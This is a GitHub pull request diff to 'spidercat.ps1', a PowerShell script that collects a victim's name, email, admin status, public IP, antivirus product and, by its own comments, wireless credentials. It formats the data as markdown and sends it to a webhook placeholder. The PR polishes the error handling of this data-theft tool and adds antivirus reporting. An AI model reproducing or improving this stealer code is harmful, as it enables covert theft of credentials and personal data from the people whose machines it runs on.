Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix Errors with No email or No AV found #4

Merged
merged 3 commits into from
Apr 25, 2023
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
20 changes: 13 additions & 7 deletions spidercat.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
# created by : C0SM0

# change me
$webhook = "WEBHOOK"
$webhook = "WEBHOOK HERE"

# variables
$account = $env:userprofile.Split('\')[2]
Expand Down Expand Up @@ -58,12 +58,13 @@ function Get-email {
}

# Write Error is just for troubleshooting
catch {Write-Error "An email was not found"
return "No Email Detected"
-ErrorAction SilentlyContinue
catch {
Write-Error "An email was not found"
return "No Email Detected"
}
}


function Get-IP-Information {
$ipinfo = curl.exe "https://ipinfo.io" | ConvertFrom-Json

Expand All @@ -72,7 +73,7 @@ function Get-IP-Information {

function Get-AntivirusSolution {
try {
$Antivirus = Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct
$Antivirus = Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct -ErrorAction Stop
if ($Antivirus) {
$AntivirusSolution = $Antivirus.displayName
}
Expand All @@ -81,14 +82,15 @@ function Get-AntivirusSolution {
}
}
catch {
Write-Error "Unable to get Antivirus Solution"
return "NA" -ErrorAction SilentlyContinue
Write-Error "Unable to get Antivirus Solution: $_"
$AntivirusSolution = "NA"
}
return $AntivirusSolution
}




# markdown wireless information
function wireless_markdown {
# get wireless creds
Expand Down Expand Up @@ -122,6 +124,7 @@ function user_markdown {
$full_name = Get-fullName
$email = Get-email
$is_admin = (Get-LocalGroupMember 'Administrators').Name -contains "$env:COMPUTERNAME\$env:USERNAME"
$antivirus = Get-AntivirusSolution

# create markdown content
$content = @"
Expand All @@ -141,6 +144,9 @@ function user_markdown {
- Private : $private
- MAC : $MAC

## PC Information
- Antivirus : $antivirus

## Connected Networks
"@
# send data set one
Expand Down